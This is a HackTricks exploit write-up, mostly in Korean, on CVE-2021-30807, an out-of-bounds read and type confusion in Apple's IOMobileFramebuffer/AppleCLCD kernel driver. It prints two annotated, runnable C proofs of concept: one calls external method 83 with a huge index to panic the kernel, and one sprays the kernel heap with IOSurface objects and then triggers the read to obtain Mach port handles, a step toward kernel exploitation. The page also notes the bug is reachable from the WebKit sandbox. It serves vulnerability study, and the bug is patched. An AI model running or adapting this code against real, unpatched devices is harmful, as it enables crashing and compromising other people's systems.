CVE-2021-30807: IOMobileFrameBuffer OOB

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ทจ์•ฝ์ 

You have a great explanation of the vuln here, but as summary:

  • ์ทจ์•ฝํ•œ ์ฝ”๋“œ ๊ฒฝ๋กœ๋Š” IOMobileFramebuffer / AppleCLCD user client์˜ external method #83: IOMobileFramebufferUserClient::s_displayed_fb_surface(...) ์ž…๋‹ˆ๋‹ค. ์ด ๋ฉ”์„œ๋“œ๋Š” ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ œ์–ด๋˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›๋Š”๋ฐ ์ „ํ˜€ ๊ฒ€์ฆํ•˜์ง€ ์•Š์œผ๋ฉฐ ๋‹ค์Œ ํ•จ์ˆ˜๋กœ **scalar0**๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค.

  • ํ•ด๋‹น ๋ฉ”์„œ๋“œ๋Š” **IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)**๋กœ ์ „๋‹ฌ๋˜๋ฉฐ, ์—ฌ๊ธฐ์„œ scalar0(์‚ฌ์šฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” 32-bit ๊ฐ’)๋Š” ๋‚ด๋ถ€ ํฌ์ธํ„ฐ ๋ฐฐ์—ด์— ๋Œ€ํ•œ ์ธ๋ฑ์Šค๋กœ ์‚ฌ์šฉ๋˜์ง€๋งŒ ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ๊ฐ€ ์ „ํ˜€ ์—†์Šต๋‹ˆ๋‹ค:

ptr = *(this + 0xA58 + scalar0 * 8); โ†’ IOSurfaceRoot::copyPortNameForSurfaceInTask(...)๋กœ ์ „๋‹ฌ๋˜์–ด **IOSurface***๋กœ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.
Result: ๋ฐฐ์—ด์—์„œ OOB pointer read & type confusion๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ํฌ์ธํ„ฐ๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์œผ๋ฉด ์ปค๋„ deref๊ฐ€ panicํ•˜์—ฌ โ†’ DoS.

Note

This was fixed in iOS/iPadOS 14.7.1, macOS Big Sur 11.5.1, watchOS 7.6.1

Warning

The initial function to call IOMobileFramebufferUserClient::s_displayed_fb_surface(...) is protected by the entitlement com.apple.private.allow-explicit-graphics-priority. However, WebKit.WebContent has this entitlement, so it can be used to trigger the vuln from a sandboxed process.

DoS PoC

The following is the initial DoS PoC from the ooriginal blog post with extra comments:

// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1.  (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807

void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;

// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;

// 1) Locate the IOMobileFramebuffer service in the IORegistry.
//    This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));

if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}

printf("service: 0x%x\n", service);

// 2) Open a connection (user client) to the service.
//    The user client is what exposes external methods to userland.
//    'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}

printf("client: 0x%x\n", shared_user_client_conn);

printf("call externalMethod\n");

// 3) Prepare input scalars for the external method call.
//    The vulnerable path uses a 32-bit scalar as an INDEX into an internal
//    array of pointers WITHOUT bounds checking (OOB read / type confusion).
//    We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** โ†’ OOB pointer lookup

// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;

printf("call s_default_fb_surface\n");

// 5) Invoke external method #83.
//    On vulnerable builds, this path ends up calling:
//      IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
//      โ†’ IOMobileFramebufferLegacy::get_displayed_surface(...)
//      which uses our index to read a pointer and then passes it as IOSurface*.
//    If the pointer is bogus, IOSurface code will dereference it and the kernel
//    will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83,                 // **Selector 83**: vulnerable external method
scalars, 1,         // input scalars (count = 1; the OOB index)
NULL, 0,            // no input struct
output_scalars, &output_scalars_size,  // optional outputs
NULL, NULL);        // no output struct

// 6) Check the call result. On many vulnerable targets, you'll see either
//    KERN_SUCCESS right before a panic (because the deref happens deeper),
//    or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}

printf("external method returned KERN_SUCCESS\n");

// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}

์ž„์˜ ์ฝ๊ธฐ PoC ์„ค๋ช…

  1. ์ ์ ˆํ•œ user client ์—ด๊ธฐ
  • get_appleclcd_uc()๋Š” AppleCLCD ์„œ๋น„์Šค๋ฅผ ์ฐพ์•„ user client type 2๋ฅผ ์—ฝ๋‹ˆ๋‹ค. AppleCLCD์™€ IOMobileFramebuffer๋Š” ๊ฐ™์€ external-methods ํ…Œ์ด๋ธ”์„ ๊ณต์œ ํ•˜๋ฉฐ; type 2๋Š” selector 83์„ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์ด ๋ฒ„๊ทธ๋กœ ๋“ค์–ด๊ฐ€๋Š” ์ง„์ž…์ ์ž…๋‹ˆ๋‹ค. E_POC/)

์™œ 83์ด ์ค‘์š”ํ•œ๊ฐ€: ๋””์ปดํŒŒ์ผ๋œ ๊ฒฝ๋กœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

  • IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
    โ†’ IOMobileFramebufferUserClient::get_displayed_surface(...)
    โ†’ IOMobileFramebufferLegacy::get_displayed_surface(...)
    ๋งˆ์ง€๋ง‰ ํ˜ธ์ถœ ๋‚ด๋ถ€์—์„œ, ์ฝ”๋“œ๋Š” ๊ฒฝ๊ณ„ ๊ฒ€์‚ฌ ์—†์ด 32๋น„ํŠธ ์Šค์นผ๋ผ๋ฅผ ๋ฐฐ์—ด ์ธ๋ฑ์Šค๋กœ ์‚ฌ์šฉํ•˜๊ณ , **this + 0xA58 + index*8**์—์„œ ํฌ์ธํ„ฐ๋ฅผ ๊ฐ€์ ธ์™€ IOSurface*๋กœ IOSurfaceRoot::copyPortNameForSurfaceInTask(...)์— ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๊ฒŒ OOB + ํƒ€์ž… ํ˜ผ๋™์ž…๋‹ˆ๋‹ค.
  1. ํž™ ์Šคํ”„๋ ˆ์ด (์™œ IOSurface๊ฐ€ ์—ฌ๊ธฐ์— ๋‚˜ํƒ€๋‚˜๋Š”๊ฐ€)
  • do_spray()๋Š” **IOSurfaceRootUserClient**๋ฅผ ์‚ฌ์šฉํ•ด ๋งŽ์€ IOSurface๋ฅผ ์ƒ์„ฑํ•˜๊ณ  **์ž‘์€ ๊ฐ’๋“ค๋กœ ์Šคํ”„๋ ˆ์ด(s_set_value ์Šคํƒ€์ผ)**ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ์ปค๋„ ํž™ ์ธ๊ทผ์„ ์œ ํšจํ•œ IOSurface ๊ฐ์ฒด๋“ค์— ๋Œ€ํ•œ ํฌ์ธํ„ฐ๋“ค๋กœ ์ฑ„์›๋‹ˆ๋‹ค.

  • ๋ชฉํ‘œ: selector 83์ด ํ•ฉ๋ฒ• ํ…Œ์ด๋ธ”์„ ๋ฒ—์–ด๋‚˜ ์ฝ์„ ๋•Œ, OOB ์Šฌ๋กฏ์— ๋‹น์‹ ์ด ๋งŒ๋“ (์‹ค์ œ) IOSurface ํฌ์ธํ„ฐ ์ค‘ ํ•˜๋‚˜๊ฐ€ ๋“ค์–ด ์žˆ์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์–ด, ์ดํ›„ ์—ญ์ฐธ์กฐ๊ฐ€ ํฌ๋ž˜์‹œ๋ฅผ ์ผ์œผํ‚ค์ง€ ์•Š๊ณ  ์„ฑ๊ณตํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. IOSurface๋Š” ๊ณ ์ „์ ์ด๊ณ  ๋ฌธ์„œํ™”๋œ ์ปค๋„ ์Šคํ”„๋ ˆ์ด ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ์ด๋ฉฐ, Saar์˜ ํฌ์ŠคํŠธ๋Š” ์ด ์ต์Šคํ”Œ๋กœ์ž‡ ํ๋ฆ„์— ์‚ฌ์šฉ๋œ create / set_value / lookup ๋ฉ”์„œ๋“œ๋ฅผ ๋ช…์‹œ์ ์œผ๋กœ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค.

  1. โ€œoffset/8โ€ ํŠธ๋ฆญ (๊ทธ ์ธ๋ฑ์Šค๊ฐ€ ์‹ค์ œ๋กœ ์˜๋ฏธํ•˜๋Š” ๊ฒƒ)
  • trigger_oob(offset)์—์„œ๋Š” scalars[0] = offset / 8๋กœ ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.

  • ์™œ 8๋กœ ๋‚˜๋ˆ„๋‚˜? ์ปค๋„์€ **base + index*8**๋ฅผ ์ˆ˜ํ–‰ํ•ด ์–ด๋А ํฌ์ธํ„ฐ ํฌ๊ธฐ ์Šฌ๋กฏ์„ ์ฝ์„์ง€ ๊ณ„์‚ฐํ•ฉ๋‹ˆ๋‹ค. ๋‹น์‹ ์€ ๋ฐ”์ดํŠธ ์˜คํ”„์…‹์ด ์•„๋‹ˆ๋ผ **โ€œ์Šฌ๋กฏ ๋ฒˆํ˜ธ Nโ€**์„ ์„ ํƒํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. 64๋น„ํŠธ์—์„œ๋Š” ์Šฌ๋กฏ๋‹น 8๋ฐ”์ดํŠธ์ž…๋‹ˆ๋‹ค.

  • ๊ณ„์‚ฐ๋œ ์ฃผ์†Œ๋Š” **this + 0xA58 + index*8**์ž…๋‹ˆ๋‹ค. PoC๋Š” ํฐ ์ƒ์ˆ˜(0x1200000 + 0x1048)๋ฅผ ์‚ฌ์šฉํ•ด ๋‹จ์ˆœํžˆ ํ•ฉ๋ฒ• ๋ฒ”์œ„๋ฅผ ํ›จ์”ฌ ๋ฒ—์–ด๋‚˜ IOSurface ํฌ์ธํ„ฐ๋“ค๋กœ ์กฐ๋ฐ€ํ•˜๊ฒŒ ์ฑ„์šฐ๋ ค ํ•œ ์˜์—ญ์œผ๋กœ ๋“ค์–ด๊ฐ‘๋‹ˆ๋‹ค. ์Šคํ”„๋ ˆ์ด๊ฐ€ โ€œ์ด๊ธฐ๋ฉดโ€, ๋‹น์‹ ์ด ๊ฑด๋“œ๋ฆฐ ์Šฌ๋กฏ์€ ์œ ํšจํ•œ IOSurface*์ž…๋‹ˆ๋‹ค.

  1. selector 83์ด ๋ฐ˜ํ™˜ํ•˜๋Š” ๊ฒƒ (์ด ๋ถ€๋ถ„์ด ๋ฏธ๋ฌ˜ํ•จ)
  • ํ˜ธ์ถœ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, output_scalars, &output_scalars_size, NULL, NULL);o

  • ๋‚ด๋ถ€์ ์œผ๋กœ, OOB ํฌ์ธํ„ฐ ์กฐํšŒ ์ดํ›„ ๋“œ๋ผ์ด๋ฒ„๋Š”
    **IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)**๋ฅผ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.

  • ๊ฒฐ๊ณผ: **output_scalars[0]๋Š” ๋‹น์‹ ์˜ ํƒœ์Šคํฌ์—์„œ์˜ Mach ํฌํŠธ ์ด๋ฆ„(u32 ํ•ธ๋“ค)**๋กœ, OOB๋ฅผ ํ†ตํ•ด ์ „๋‹ฌ๋œ ๊ฐ์ฒด ํฌ์ธํ„ฐ์— ๋Œ€์‘ํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ ์›์‹œ ์ปค๋„ ์ฃผ์†Œ์˜ leak๊ฐ€ ์•„๋‹ˆ๋ผ, ์œ ์ €์ŠคํŽ˜์ด์Šค ํ•ธ๋“ค(send right)์ž…๋‹ˆ๋‹ค. ์ด ์ •ํ™•ํ•œ ๋™์ž‘(ํฌํŠธ ์ด๋ฆ„์„ ๋ณต์‚ฌํ•˜๋Š” ๊ฒƒ)์€ Saar์˜ ๋””์ปดํŒŒ์ผ์—์„œ ํ™•์ธ๋ฉ๋‹ˆ๋‹ค.

์™œ ์œ ์šฉํ•œ๊ฐ€: (๊ฐ€์งœ) IOSurface์— ๋Œ€ํ•œ ํฌํŠธ ์ด๋ฆ„์„ ์–ป์œผ๋ฉด, ์ด์ œ ๋‹ค์Œ ๊ฐ™์€ IOSurfaceRoot ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • s_lookup_surface_from_port (method 34) โ†’ ํฌํŠธ๋ฅผ surface ID๋กœ ๋ฐ”๊ฟ” ๋‹ค๋ฅธ IOSurface ํ˜ธ์ถœ๋กœ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ณ ,
  • s_create_port_from_surface (method 35) โ†’ ํ•„์š”ํ•˜๋ฉด ๊ทธ ๋ฐ˜๋Œ€๋„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
    Saar๋Š” ๋‹ค์Œ ๋‹จ๊ณ„๋กœ ์ •ํ™•ํžˆ ์ด ๋ฉ”์„œ๋“œ๋“ค์„ ์ง€๋ชฉํ•ฉ๋‹ˆ๋‹ค. PoC๋Š” OOB ์Šฌ๋กฏ์—์„œ ํ•ฉ๋ฒ•์ ์ธ IOSurface ํ•ธ๋“ค์„ โ€œ๋งŒ๋“ค์–ด๋‚ผโ€ ์ˆ˜ ์žˆ์Œ์„ ์ฆ๋ช…ํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. Saaramar

์ด PoC๋Š” ์—ฌ๊ธฐ์—์„œ ๊ฐ€์ ธ์™”์Šต๋‹ˆ๋‹ค โ€” ๋‹จ๊ณ„ ์„ค๋ช…์„ ์œ„ํ•ด ๋ช‡ ๊ฐ€์ง€ ์ฃผ์„์„ ์ถ”๊ฐ€ํ–ˆ์Šต๋‹ˆ๋‹ค:

#include "exploit.h"

// Open the AppleCLCD (aka IOMFB) user client so we can call external methods.
io_connect_t get_appleclcd_uc(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds.  โญ
// (AppleCLCD and IOMobileFramebuffer share the same external methods table.)

// Find the **AppleCLCD** service in the IORegistry.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("AppleCLCD"));
if(service == MACH_PORT_NULL) {
printf("[-] failed to open service\n");
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD service: 0x%x\n", service);

// Open a user client connection to AppleCLCD with the chosen **type**.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if(ret != KERN_SUCCESS) {
printf("[-] failed to open userclient: %s\n", mach_error_string(ret));
return MACH_PORT_NULL;
}
printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn);
return shared_user_client_conn;
}

// Trigger the OOB index path of external method #83.
// The 'offset' you pass is in bytes; dividing by 8 converts it to the
// index of an 8-byte pointer slot in the internal table at (this + 0xA58).
uint64_t trigger_oob(uint64_t offset) {
kern_return_t ret;

// The method takes a single 32-bit scalar that it uses as an index.
uint64_t scalars[1] = { 0x0 };
scalars[0] = offset / 8;   // **index = byteOffset / sizeof(void*)**.  โญ

// #83 returns one scalar. In this flow it will be the Mach port name
// (a u32 handle in our task), not a kernel pointer.
uint64_t output_scalars[1] = { 0 };
uint32_t output_scalars_size = 1;

io_connect_t appleclcd_uc = get_appleclcd_uc();
if (appleclcd_uc == MACH_PORT_NULL) {
return 0;
}

// Call external method 83. Internally:
//   ptr = *(this + 0xA58 + index*8);         // OOB pointer fetch
//   IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out)
// which creates a send right for that object and writes its port name
// into output_scalars[0]. If ptr is junk โ†’ deref/panic (DoS).
ret = IOConnectCallMethod(appleclcd_uc, 83,
scalars, 1,
NULL, 0,
output_scalars, &output_scalars_size,
NULL, NULL);

if (ret != KERN_SUCCESS) {
printf("[-] external method 83 failed: %s\n",  mach_error_string(ret));
return 0;
}

// This is the key: you get back a Mach port name (u32) to whatever
// object was at that OOB slot (ideally an IOSurface you sprayed).
printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]);
return output_scalars[0];
}

// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a
// real IOSurface (easier & stabler than a fully fake object).
bool do_spray(void) {
char data[0x10];
memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying.

// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
printf("[-] do_spray: failed to allocate new iosurface_uc\n");
return false;
}

// Create many IOSurfaces and use set_value / value spray helpers
// (Brandon Azad-style) to fan out allocations in kalloc.  โญ
int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int));
for (size_t i = 0; i < SURFACES_COUNT; ++i) {
surface_ids[i] = create_surface(iosurface_uc);       // s_create_surface
if (surface_ids[i] <= 0) {
return false;
}

// Spray small values repeatedly: tends to allocate/fill predictable
// kalloc regions near where the IOMFB table OOB will read from.
// The โ€œwith_gcโ€ flavor forces periodic GC to keep memory moving/packed.
if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i],
20, 200,   // rounds, per-round items
data, sizeof(data),
NULL) == false) {
printf("iosurface spray failed\n");
return false;
}
}
return true;
}

int main(void) {
// Ensure we can talk to IOSurfaceRoot (some helpers depend on it).
io_connect_t iosurface_uc = get_iosurface_root_uc();
if (iosurface_uc == MACH_PORT_NULL) {
return 0;
}

printf("[*] do spray\n");
if (do_spray() == false) {
printf("[-] shape failed, abort\n");
return 1;
}
printf("[*] spray success\n");

// Trigger the OOB read. The magic constant chooses a pointer-slot
// far beyond the legit array (offset is in bytes; index = offset/8).
// If the spray worked, this returns a **Mach port name** (handle) to one
// of your sprayed IOSurfaces; otherwise it may crash.
printf("[*] trigger\n");
trigger_oob(0x1200000 + 0x1048);
return 0;
}

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ